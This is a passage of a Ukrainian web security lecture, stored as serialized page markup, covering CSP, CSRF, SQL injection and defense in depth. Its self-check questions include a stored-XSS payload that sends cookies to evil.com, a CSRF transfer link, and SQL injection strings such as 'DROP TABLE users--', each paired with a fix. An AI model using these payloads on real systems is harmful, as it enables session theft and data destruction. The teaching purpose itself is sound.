moderator\n",[5260,18407,18408,18410,18413,18415,18417,18419,18421,18423,18425,18427,18429],{"class":5262,"line":5420},[5260,18409,6676],{"class":5341},[5260,18411,18412],{"class":5277}," getUser",[5260,18414,5327],{"class":5273},[5260,18416,8714],{"class":5277},[5260,18418,5281],{"class":5273},[5260,18420,13745],{"class":5284},[5260,18422,5338],{"class":5273},[5260,18424,13750],{"class":5341},[5260,18426,5345],{"class":5273},[5260,18428,5348],{"class":5341},[5260,18430,5368],{"class":5273},[5260,18432,18433,18435,18437,18439,18441,18443,18445,18447,18449],{"class":5262,"line":5580},[5260,18434,6231],{"class":5294},[5260,18436,5541],{"class":5298},[5260,18438,5383],{"class":5273},[5260,18440,13838],{"class":5341},[5260,18442,5383],{"class":5273},[5260,18444,10191],{"class":5277},[5260,18446,5281],{"class":5273},[5260,18448,13750],{"class":5341},[5260,18450,5405],{"class":5273},[5260,18452,18453],{"class":5262,"line":5589},[5260,18454,5423],{"class":5273},[5233,18456,18458],{"id":18457},"_2-defense-in-depth","2. Defense in Depth",[5089,18460,18461],{},"Кілька рівнів захисту:",[5251,18463,18466],{"className":18464,"code":18465,"language":5434},[5432],"Рівень 1: Network Firewall (блокування IP)\nРівень 2: Rate Limiting (обмеження запитів)\nРівень 3: JWT Authentication (перевірка токену)\nРівень 4: RBAC Guards (перевірка ролей)\nРівень 5: Resource-level Authorization (перевірка ownership)\nРівень 6: Data Validation (перевірка вводу)\n",[5200,18467,18465],{"__ignoreMap":5256},[5233,18469,18471],{"id":18470},"_3-регулярні-security-audits","3. Регулярні Security Audits",[5251,18473,18475],{"className":6416,"code":18474,"language":6418,"meta":5256,"style":5256},"# Щотижневий автоматичний аудит\nnpm audit\nsnyk test\nnpm outdated\n",[5200,18476,18477,18482,18488,18494],{"__ignoreMap":5256},[5260,18478,18479],{"class":5262,"line":5263},[5260,18480,18481],{"class":5266},"# Щотижневий автоматичний аудит\n",[5260,18483,18484,18486],{"class":5262,"line":5270},[5260,18485,6425],{"class":5277},[5260,18487,15173],{"class":5284},[5260,18489,18490,18492],{"class":5262,"line":5291},[5260,18491,15234],{"class":5277},[5260,18493,15237],{"class":5284},[5260,18495,18496,18498],{"class":5262,"line":5309},[5260,18497,6425],{"class":5277},[5260,18499,18500],{"class":5284}," outdated\n",[5233,18502,18504],{"id":18503},"_4-security-headers-повторення-з-попередніх-лекцій","4. Security Headers (повторення з попередніх лекцій)",[5251,18506,18508],{"className":5253,"code":18507,"language":5255,"meta":5256,"style":5256},"app.use(helmet());  \u002F\u002F CSP, HSTS, X-Frame-Options, тощо\n",[5200,18509,18510],{"__ignoreMap":5256},[5260,18511,18512,18514,18516,18518,18520,18522,18525],{"class":5262,"line":5263},[5260,18513,5958],{"class":5341},[5260,18515,5383],{"class":5273},[5260,18517,5963],{"class":5277},[5260,18519,5281],{"class":5273},[5260,18521,14835],{"class":5277},[5260,18523,18524],{"class":5273},"());  ",[5260,18526,18527],{"class":5266},"\u002F\u002F CSP, HSTS, X-Frame-Options, тощо\n",[5233,18529,18531],{"id":18530},"_5-безпечне-зберігання-credentials","5. Безпечне зберігання credentials",[5251,18533,18535],{"className":6416,"code":18534,"language":6418,"meta":5256,"style":5256},"# ❌ Не зберігайте у коді\nconst API_KEY = 'sk_live_abc123';\n\n# ✅ Використовуйте змінні оточення\nconst API_KEY = process.env.API_KEY;\n\n# ✅ Або secrets management (AWS Secrets Manager, HashiCorp Vault)\n",[5200,18536,18537,18542,18557,18561,18566,18579,18583],{"__ignoreMap":5256},[5260,18538,18539],{"class":5262,"line":5263},[5260,18540,18541],{"class":5266},"# ❌ Не зберігайте у коді\n",[5260,18543,18544,18546,18549,18552,18555],{"class":5262,"line":5270},[5260,18545,5865],{"class":5277},[5260,18547,18548],{"class":5284}," API_KEY",[5260,18550,18551],{"class":5284}," =",[5260,18553,18554],{"class":5284}," 'sk_live_abc123'",[5260,18556,5567],{"class":5273},[5260,18558,18559],{"class":5262,"line":5291},[5260,18560,5577],{"emptyLinePlaceholder":5576},[5260,18562,18563],{"class":5262,"line":5309},[5260,18564,18565],{"class":5266},"# ✅ Використовуйте змінні оточення\n",[5260,18567,18568,18570,18572,18574,18577],{"class":5262,"line":5321},[5260,18569,5865],{"class":5277},[5260,18571,18548],{"class":5284},[5260,18573,18551],{"class":5284},[5260,18575,18576],{"class":5284}," process.env.API_KEY",[5260,18578,5567],{"class":5273},[5260,18580,18581],{"class":5262,"line":5371},[5260,18582,5577],{"emptyLinePlaceholder":5576},[5260,18584,18585],{"class":5262,"line":5377},[5260,18586,18587],{"class":5266},"# ✅ Або secrets management (AWS Secrets Manager, HashiCorp Vault)\n",[5143,18589],{},[5084,18591,18593],{"id":18592},"інтерактивні-запитання-для-самоперевірки","Інтерактивні запитання для самоперевірки",[18595,18596,18597,18763,18956],"accordion",{},[18598,18599,18602,18616,18627,18632,18681,18686,18712,18717,18753],"accordion-item",{"icon":18600,"label":18601},"i-lucide-help-circle","❓ Чому Content Security Policy не може повністю захистити від Stored XSS?",[5089,18603,18604,18607,18608,18611,18612,18615],{},[5099,18605,18606],{},"Content Security Policy (CSP)"," блокує виконання ",[5099,18609,18610],{},"inline scripts"," та обмежує джерела завантаження зовнішніх scripts. Це дуже ефективно проти ",[5099,18613,18614],{},"Reflected XSS"," (де script впроваджується через URL та виконується відразу).",[5089,18617,18618,18619,18622,18623,18626],{},"Проте ",[5099,18620,18621],{},"Stored XSS"," часто використовує ",[5099,18624,18625],{},"вже дозволені джерела"," або обходить CSP через DOM-based вразливості:",[5089,18628,18629],{},[5099,18630,18631],{},"Приклад обходу CSP:",[5251,18633,18635],{"className":7003,"code":18634,"language":5729,"meta":5256,"style":5256},"\u003C!-- Зловмисний коментар, збережений у БД -->\n\u003Cimg src=x onerror=\"fetch('https:\u002F\u002Fevil.com?cookie='+document.cookie)\">\n",[5200,18636,18637,18642],{"__ignoreMap":5256},[5260,18638,18639],{"class":5262,"line":5263},[5260,18640,18641],{"class":5266},"\u003C!-- Зловмисний коментар, збережений у БД -->\n",[5260,18643,18644,18646,18649,18652,18654,18657,18660,18662,18664,18667,18669,18672,18674,18677,18679],{"class":5262,"line":5270},[5260,18645,5202],{"class":7016},[5260,18647,18648],{"class":7019},"img",[5260,18650,18651],{"class":7023}," src",[5260,18653,7027],{"class":5273},[5260,18655,18656],{"class":7030},"x",[5260,18658,18659],{"class":7023}," onerror",[5260,18661,7027],{"class":5273},[5260,18663,7460],{"class":7030},[5260,18665,18666],{"class":5277},"fetch",[5260,18668,5281],{"class":7030},[5260,18670,18671],{"class":5284},"'https",[5260,18673,6150],{"class":7463},[5260,18675,18676],{"class":5266},"\u002F\u002Fevil.com?cookie='+document.cookie)",[5260,18678,7460],{"class":7030},[5260,18680,7050],{"class":7016},[5089,18682,18683],{},[5099,18684,18685],{},"CSP не блокує:",[5093,18687,18688,18698],{},[5096,18689,18690,18693,18694,18697],{},[5200,18691,18692],{},"onerror"," events на ",[5200,18695,18696],{},"\u003Cimg>"," (це не inline script, а event handler)",[5096,18699,18700,18701,18704,18705,18708,18709,7928],{},"Запити до ",[5200,18702,18703],{},"https:\u002F\u002Fevil.com"," (якщо CSP дозволяє ",[5200,18706,18707],{},"connect-src *"," або ",[5200,18710,18711],{},"https:",[5089,18713,18714],{},[5099,18715,18716],{},"Правильний захист від Stored XSS:",[6983,18718,18719,18725,18736,18742],{},[5096,18720,18721,18724],{},[5099,18722,18723],{},"Санітизація HTML"," при збереженні у БД (видаляти всі event handlers)",[5096,18726,18727,18730,18731,18733,18734,7928],{},[5099,18728,18729],{},"Екранування"," при виведенні (перетворювати ",[5200,18732,5202],{}," на ",[5200,18735,5206],{},[5096,18737,18738,18741],{},[5099,18739,18740],{},"CSP як додатковий рівень"," (не єдиний)",[5096,18743,18744,18752],{},[5099,18745,18746,18747,18749,18750],{},"Використання ",[5200,18748,6804],{}," замість ",[5200,18751,5837],{}," у frontend",[5089,18754,18755,18758,18759,18762],{},[5099,18756,18757],{},"Висновок:"," CSP — це важливий захист, але ",[5099,18760,18761],{},"не може замінити"," санітизацію та екранування user input.",[18598,18764,18766,18775,18780,18924,18927,18932,18950],{"icon":18600,"label":18765},"❓ Чому SameSite=Lax не захищає від CSRF атак через GET запити?",[5089,18767,18768,18770,18771,18774],{},[5099,18769,7951],{}," дозволяє відправлення cookies у ",[5099,18772,18773],{},"top-level navigation GET requests"," (коли користувач переходить за посиланням).",[5089,18776,18777],{},[5099,18778,18779],{},"Сценарій атаки:",[6983,18781,18782,18820,18823],{},[5096,18783,18784,18785],{},"Зловмисник створює посилання:",[5251,18786,18788],{"className":7003,"code":18787,"language":5729,"meta":5256,"style":5256},"\u003Ca href=\"https:\u002F\u002Fbank.com\u002Ftransfer?to=attacker&amount=1000\">\n  Виграй iPhone!\n\u003C\u002Fa>\n",[5200,18789,18790,18807,18812],{"__ignoreMap":5256},[5260,18791,18792,18794,18797,18800,18802,18805],{"class":5262,"line":5263},[5260,18793,5202],{"class":7016},[5260,18795,18796],{"class":7019},"a",[5260,18798,18799],{"class":7023}," href",[5260,18801,7027],{"class":5273},[5260,18803,18804],{"class":7030},"\"https:\u002F\u002Fbank.com\u002Ftransfer?to=attacker&amount=1000\"",[5260,18806,7050],{"class":7016},[5260,18808,18809],{"class":5262,"line":5270},[5260,18810,18811],{"class":5273},"  Виграй iPhone!\n",[5260,18813,18814,18816,18818],{"class":5262,"line":5291},[5260,18815,7118],{"class":7016},[5260,18817,18796],{"class":7019},[5260,18819,7050],{"class":7016},[5096,18821,18822],{},"Користувач натискає посилання → браузер відправляє GET запит з session cookie (через SameSite=Lax).",[5096,18824,18825,18826,18829,18830],{},"Якщо backend ",[5099,18827,18828],{},"неправильно спроєктований"," та виконує зміни через GET:",[5251,18831,18833],{"className":5253,"code":18832,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: зміна стану через GET\n@Get('transfer')\nasync transfer(@Query('to') to: string, @Query('amount') amount: number) {\n  return this.bankService.transfer(to, amount);\n}\n",[5200,18834,18835,18840,18852,18896,18920],{"__ignoreMap":5256},[5260,18836,18837],{"class":5262,"line":5263},[5260,18838,18839],{"class":5266},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: зміна стану через GET\n",[5260,18841,18842,18844,18846,18848,18850],{"class":5262,"line":5270},[5260,18843,5274],{"class":5273},[5260,18845,5315],{"class":5277},[5260,18847,5281],{"class":5273},[5260,18849,7590],{"class":5284},[5260,18851,5288],{"class":5273},[5260,18853,18854,18856,18858,18860,18862,18864,18867,18869,18872,18874,18876,18878,18880,18882,18885,18887,18890,18892,18894],{"class":5262,"line":5291},[5260,18855,6676],{"class":5341},[5260,18857,7599],{"class":5277},[5260,18859,5327],{"class":5273},[5260,18861,5330],{"class":5277},[5260,18863,5281],{"class":5273},[5260,18865,18866],{"class":5284},"'to'",[5260,18868,5338],{"class":5273},[5260,18870,18871],{"class":5341},"to",[5260,18873,5345],{"class":5273},[5260,18875,5348],{"class":5341},[5260,18877,5351],{"class":5273},[5260,18879,5330],{"class":5277},[5260,18881,5281],{"class":5273},[5260,18883,18884],{"class":5284},"'amount'",[5260,18886,5338],{"class":5273},[5260,18888,18889],{"class":5341},"amount",[5260,18891,5345],{"class":5273},[5260,18893,15501],{"class":5341},[5260,18895,5368],{"class":5273},[5260,18897,18898,18900,18902,18904,18906,18908,18910,18912,18914,18916,18918],{"class":5262,"line":5309},[5260,18899,6231],{"class":5294},[5260,18901,5541],{"class":5298},[5260,18903,5383],{"class":5273},[5260,18905,7630],{"class":5341},[5260,18907,5383],{"class":5273},[5260,18909,7635],{"class":5277},[5260,18911,5281],{"class":5273},[5260,18913,18871],{"class":5341},[5260,18915,6012],{"class":5273},[5260,18917,18889],{"class":5341},[5260,18919,5405],{"class":5273},[5260,18921,18922],{"class":5262,"line":5321},[5260,18923,5423],{"class":5273},[5089,18925,18926],{},"…то атака вдалася!",[5089,18928,18929],{},[5099,18930,18931],{},"Правильний дизайн:",[5093,18933,18934,18944],{},[5096,18935,18936,18939,18940,18943],{},[5099,18937,18938],{},"GET requests"," мають бути ",[5099,18941,18942],{},"ідемпотентними"," (лише читання, без змін)",[5096,18945,18946,18949],{},[5099,18947,18948],{},"POST\u002FPUT\u002FDELETE"," для змін стану (SameSite=Lax блокує cookies для цих методів)",[5089,18951,18952,18955],{},[5099,18953,18954],{},"Додатковий захист:"," використовуйте CSRF tokens навіть з SameSite=Lax.",[18598,18957,18959,18972,18977,19042,19048,19119,19124,19127,19264,19272],{"icon":18600,"label":18958},"❓ Як зловмисник може обійти параметризовані запити?",[5089,18960,18961,18964,18965,18968,18969,6150],{},[5099,18962,18963],{},"Параметризовані запити (Prepared Statements)"," ефективно захищають від ",[5099,18966,18967],{},"класичної SQL Injection",", але існують ",[5099,18970,18971],{},"інші вектори атак",[5089,18973,18974],{},[5099,18975,18976],{},"1. Ін'єкція через ORDER BY \u002F LIMIT:",[5251,18978,18980],{"className":5253,"code":18979,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ❌ Параметризація не працює для динамічних імен колонок\nconst sortBy = req.query.sort; \u002F\u002F Може бути: \"name; DROP TABLE users--\"\n\nconst query = `SELECT * FROM users ORDER BY ${sortBy}`; \u002F\u002F Вразливо!\n",[5200,18981,18982,18987,19013,19017],{"__ignoreMap":5256},[5260,18983,18984],{"class":5262,"line":5263},[5260,18985,18986],{"class":5266},"\u002F\u002F ❌ Параметризація не працює для динамічних імен колонок\n",[5260,18988,18989,18991,18994,18996,18999,19001,19003,19005,19008,19010],{"class":5262,"line":5270},[5260,18990,5865],{"class":5298},[5260,18992,18993],{"class":5531}," sortBy",[5260,18995,5535],{"class":5273},[5260,18997,18998],{"class":5341},"req",[5260,19000,5383],{"class":5273},[5260,19002,5342],{"class":5341},[5260,19004,5383],{"class":5273},[5260,19006,19007],{"class":5341},"sort",[5260,19009,5844],{"class":5273},[5260,19011,19012],{"class":5266},"\u002F\u002F Може бути: \"name; DROP TABLE users--\"\n",[5260,19014,19015],{"class":5262,"line":5291},[5260,19016,5577],{"emptyLinePlaceholder":5576},[5260,19018,19019,19021,19023,19025,19028,19030,19033,19035,19037,19039],{"class":5262,"line":5309},[5260,19020,5865],{"class":5298},[5260,19022,8737],{"class":5531},[5260,19024,5535],{"class":5273},[5260,19026,19027],{"class":5284},"`SELECT * FROM users ORDER BY ",[5260,19029,5394],{"class":5298},[5260,19031,19032],{"class":5341},"sortBy",[5260,19034,5399],{"class":5298},[5260,19036,11434],{"class":5284},[5260,19038,5844],{"class":5273},[5260,19040,19041],{"class":5266},"\u002F\u002F Вразливо!\n",[5089,19043,19044,19047],{},[5099,19045,19046],{},"Рішення:"," використовуйте whitelist:",[5251,19049,19051],{"className":5253,"code":19050,"language":5255,"meta":5256,"style":5256},"const ALLOWED_SORT_FIELDS = ['name', 'email', 'createdAt'];\n\nif (!ALLOWED_SORT_FIELDS.includes(sortBy)) {\n  throw new BadRequestException('Invalid sort field');\n}\n",[5200,19052,19053,19076,19080,19100,19115],{"__ignoreMap":5256},[5260,19054,19055,19057,19060,19062,19065,19067,19069,19071,19074],{"class":5262,"line":5263},[5260,19056,5865],{"class":5298},[5260,19058,19059],{"class":5531}," ALLOWED_SORT_FIELDS",[5260,19061,8081],{"class":5273},[5260,19063,19064],{"class":5284},"'name'",[5260,19066,6012],{"class":5273},[5260,19068,8719],{"class":5284},[5260,19070,6012],{"class":5273},[5260,19072,19073],{"class":5284},"'createdAt'",[5260,19075,8092],{"class":5273},[5260,19077,19078],{"class":5262,"line":5270},[5260,19079,5577],{"emptyLinePlaceholder":5576},[5260,19081,19082,19085,19087,19090,19092,19094,19096,19098],{"class":5262,"line":5291},[5260,19083,19084],{"class":5294},"if",[5260,19086,8146],{"class":5273},[5260,19088,19089],{"class":5531},"ALLOWED_SORT_FIELDS",[5260,19091,5383],{"class":5273},[5260,19093,8208],{"class":5277},[5260,19095,5281],{"class":5273},[5260,19097,19032],{"class":5341},[5260,19099,8220],{"class":5273},[5260,19101,19102,19104,19106,19108,19110,19113],{"class":5262,"line":5309},[5260,19103,10276],{"class":5294},[5260,19105,8228],{"class":5298},[5260,19107,12956],{"class":5277},[5260,19109,5281],{"class":5273},[5260,19111,19112],{"class":5284},"'Invalid sort field'",[5260,19114,5405],{"class":5273},[5260,19116,19117],{"class":5262,"line":5321},[5260,19118,5423],{"class":5273},[5089,19120,19121],{},[5099,19122,19123],{},"2. Second-Order SQL Injection:",[5089,19125,19126],{},"Зловмисник зберігає payload у БД, який виконується пізніше:",[5251,19128,19130],{"className":5253,"code":19129,"language":5255,"meta":5256,"style":5256},"\u002F\u002F Крок 1: Зберегти зловмисний username (з параметризацією — безпечно)\nawait db.query('INSERT INTO users (username) VALUES (?)', [\"admin'--\"]);\n\n\u002F\u002F Крок 2: Витягнути username та використати у запиті БЕЗ параметризації\nconst user = await db.query('SELECT username FROM users WHERE id = 1');\nconst username = user[0].username; \u002F\u002F \"admin'--\"\n\n\u002F\u002F ❌ НЕБЕЗПЕЧНО: використання збереженого значення без параметризації\nconst stats = await db.query(`SELECT * FROM stats WHERE username = '${username}'`);\n\u002F\u002F SQL: SELECT * FROM stats WHERE username = 'admin'--'\n",[5200,19131,19132,19137,19160,19164,19169,19192,19218,19222,19227,19259],{"__ignoreMap":5256},[5260,19133,19134],{"class":5262,"line":5263},[5260,19135,19136],{"class":5266},"\u002F\u002F Крок 1: Зберегти зловмисний username (з параметризацією — безпечно)\n",[5260,19138,19139,19141,19144,19146,19148,19150,19153,19155,19158],{"class":5262,"line":5270},[5260,19140,5538],{"class":5294},[5260,19142,19143],{"class":5341}," db",[5260,19145,5383],{"class":5273},[5260,19147,5342],{"class":5277},[5260,19149,5281],{"class":5273},[5260,19151,19152],{"class":5284},"'INSERT INTO users (username) VALUES (?)'",[5260,19154,13012],{"class":5273},[5260,19156,19157],{"class":5284},"\"admin'--\"",[5260,19159,6280],{"class":5273},[5260,19161,19162],{"class":5262,"line":5291},[5260,19163,5577],{"emptyLinePlaceholder":5576},[5260,19165,19166],{"class":5262,"line":5309},[5260,19167,19168],{"class":5266},"\u002F\u002F Крок 2: Витягнути username та використати у запиті БЕЗ параметризації\n",[5260,19170,19171,19173,19175,19177,19179,19181,19183,19185,19187,19190],{"class":5262,"line":5321},[5260,19172,5865],{"class":5298},[5260,19174,8760],{"class":5531},[5260,19176,5535],{"class":5273},[5260,19178,5538],{"class":5294},[5260,19180,19143],{"class":5341},[5260,19182,5383],{"class":5273},[5260,19184,5342],{"class":5277},[5260,19186,5281],{"class":5273},[5260,19188,19189],{"class":5284},"'SELECT username FROM users WHERE id = 1'",[5260,19191,5405],{"class":5273},[5260,19193,19194,19196,19199,19201,19203,19205,19207,19210,19213,19215],{"class":5262,"line":5371},[5260,19195,5865],{"class":5298},[5260,19197,19198],{"class":5531}," username",[5260,19200,5535],{"class":5273},[5260,19202,7721],{"class":5341},[5260,19204,6249],{"class":5273},[5260,19206,13139],{"class":5893},[5260,19208,19209],{"class":5273},"].",[5260,19211,19212],{"class":5341},"username",[5260,19214,5844],{"class":5273},[5260,19216,19217],{"class":5266},"\u002F\u002F \"admin'--\"\n",[5260,19219,19220],{"class":5262,"line":5377},[5260,19221,5577],{"emptyLinePlaceholder":5576},[5260,19223,19224],{"class":5262,"line":5408},[5260,19225,19226],{"class":5266},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: використання збереженого значення без параметризації\n",[5260,19228,19229,19231,19234,19236,19238,19240,19242,19244,19246,19249,19251,19253,19255,19257],{"class":5262,"line":5414},[5260,19230,5865],{"class":5298},[5260,19232,19233],{"class":5531}," stats",[5260,19235,5535],{"class":5273},[5260,19237,5538],{"class":5294},[5260,19239,19143],{"class":5341},[5260,19241,5383],{"class":5273},[5260,19243,5342],{"class":5277},[5260,19245,5281],{"class":5273},[5260,19247,19248],{"class":5284},"`SELECT * FROM stats WHERE username = '",[5260,19250,5394],{"class":5298},[5260,19252,19212],{"class":5341},[5260,19254,5399],{"class":5298},[5260,19256,8751],{"class":5284},[5260,19258,5405],{"class":5273},[5260,19260,19261],{"class":5262,"line":5420},[5260,19262,19263],{"class":5266},"\u002F\u002F SQL: SELECT * FROM stats WHERE username = 'admin'--'\n",[5089,19265,19266,7654,19268,19271],{},[5099,19267,19046],{},[5099,19269,19270],{},"завжди"," використовуйте параметризацію, навіть для даних з БД.",[5089,19273,19274,19276],{},[5099,19275,18757],{}," параметризовані запити — це не \"срібна куля\". Потрібна комплексна валідація та whitelist підходи.",[5143,19278],{},[5084,19280,19282],{"id":19281},"підсумок","Підсумок",[5146,19284,19285,19327,19374],{},[5149,19286,19288,19293,19322],{"icon":4616,"title":19287},"🛡️ Основні атаки",[5089,19289,19290],{},[5099,19291,19292],{},"Найнебезпечніші вразливості:",[5093,19294,19295,19301,19307,19312,19317],{},[5096,19296,19297,19300],{},[5099,19298,19299],{},"XSS"," — ін'єкція JavaScript, крадіжка cookies\u002Fтокенів",[5096,19302,19303,19306],{},[5099,19304,19305],{},"CSRF"," — виконання дій від імені жертви",[5096,19308,19309,19311],{},[5099,19310,5113],{}," — несанкціонований доступ до БД",[5096,19313,19314,19316],{},[5099,19315,5125],{}," — читання системних файлів",[5096,19318,19319,19321],{},[5099,19320,5131],{}," — виконання системних команд",[5089,19323,19324],{},[5099,19325,19326],{},"Кожна вразливість потребує специфічного захисту",[5149,19328,19331,19336,19369],{"icon":19329,"title":19330},"i-lucide-settings","⚙️ Методи захисту",[5089,19332,19333],{},[5099,19334,19335],{},"Універсальні принципи:",[5093,19337,19338,19344,19349,19355,19361],{},[5096,19339,19340,19343],{},[5099,19341,19342],{},"Валідація та санітизація"," всього user input",[5096,19345,19346,19348],{},[5099,19347,18729],{}," при виведенні (XSS)",[5096,19350,19351,19354],{},[5099,19352,19353],{},"Параметризовані запити"," (SQL Injection)",[5096,19356,19357,19360],{},[5099,19358,19359],{},"Whitelist підхід"," (Path Traversal, Command Injection)",[5096,19362,19363,15695,19366],{},[5099,19364,19365],{},"CSRF tokens",[5099,19367,19368],{},"SameSite cookies",[5089,19370,19371],{},[5099,19372,19373],{},"Використовуйте ORM та бібліотеки для автоматичного захисту",[5149,19375,19377,19382,19399],{"icon":3019,"title":19376},"🔍 OWASP Top 10",[5089,19378,19379],{},[5099,19380,19381],{},"Стандарт оцінки безпеки:",[5093,19383,19384,19387,19390,19393,19396],{},[5096,19385,19386],{},"Broken Access Control",[5096,19388,19389],{},"Cryptographic Failures",[5096,19391,19392],{},"Injection (SQL, NoSQL, Command)",[5096,19394,19395],{},"Insecure Design",[5096,19397,19398],{},"Security Misconfiguration",[5089,19400,19401],{},[5099,19402,19403],{},"Регулярні аудити через npm audit, Snyk, OWASP ZAP",[5089,19405,19406,19407,19410],{},"У наступній (останній) лекції цього модуля ми розглянемо ",[5099,19408,19409],{},"налаштування HTTPS у продакшені"," через Let's Encrypt, Nginx та Traefik — завершальний крок для забезпечення безпечної передачі даних між клієнтом та сервером.",[19412,19413,19414],"style",{},"html pre.shiki code .spJ8K, html code.shiki .spJ8K{--shiki-light:#008000;--shiki-default:#6A9955;--shiki-dark:#6A9955}html pre.shiki code .sHH4Y, html code.shiki .sHH4Y{--shiki-light:#000000;--shiki-default:#D4D4D4;--shiki-dark:#D4D4D4}html pre.shiki code .s8Opu, html code.shiki .s8Opu{--shiki-light:#795E26;--shiki-default:#DCDCAA;--shiki-dark:#DCDCAA}html pre.shiki code .sbdoH, html code.shiki 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